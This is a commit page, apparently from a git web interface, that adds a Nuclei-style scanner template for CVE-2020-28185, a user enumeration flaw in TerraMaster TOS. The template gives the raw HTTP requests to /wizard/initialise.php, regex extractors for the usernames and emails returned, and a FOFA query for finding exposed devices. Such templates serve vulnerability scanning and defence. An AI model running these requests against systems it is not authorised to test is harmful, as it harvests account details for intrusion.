TerraMaster TOS - User Enumeration
parent
5d7f2b74a3
commit
ec72aec7f6
|
@ -0,0 +1,56 @@
|
|||
id: CVE-2020-28185
|
||||
|
||||
info:
|
||||
name: TerraMaster TOS < 4.2.06 - User Enumeration
|
||||
author: pussycat0x
|
||||
severity: medium
|
||||
reference:
|
||||
- https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/TerraMaster%20TOS%20%E7%94%A8%E6%88%B7%E6%9E%9A%E4%B8%BE%E6%BC%8F%E6%B4%9E%20CVE-2020-28185.md
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2020-28185
|
||||
metadata:
|
||||
max-request: 1
|
||||
verified: true
|
||||
fofa-query: '"TerraMaster" && header="TOS"'
|
||||
tags: tamronos,enum
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET /tos/index.php?user/login HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
|
||||
- |
|
||||
POST /wizard/initialise.php HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||||
X-Requested-With: XMLHttpRequest
|
||||
Referer: {{BaseURL}}/tos/index.php?user/login
|
||||
|
||||
tab=checkuser&username=admin
|
||||
|
||||
cookie-reuse: true
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "username"
|
||||
- "email"
|
||||
- "status"
|
||||
condition: and
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
part: body_2
|
||||
regex:
|
||||
- '"username":"(.*?)"'
|
||||
- '"email":"(.*?)"'
|
Loading…
Reference in New Issue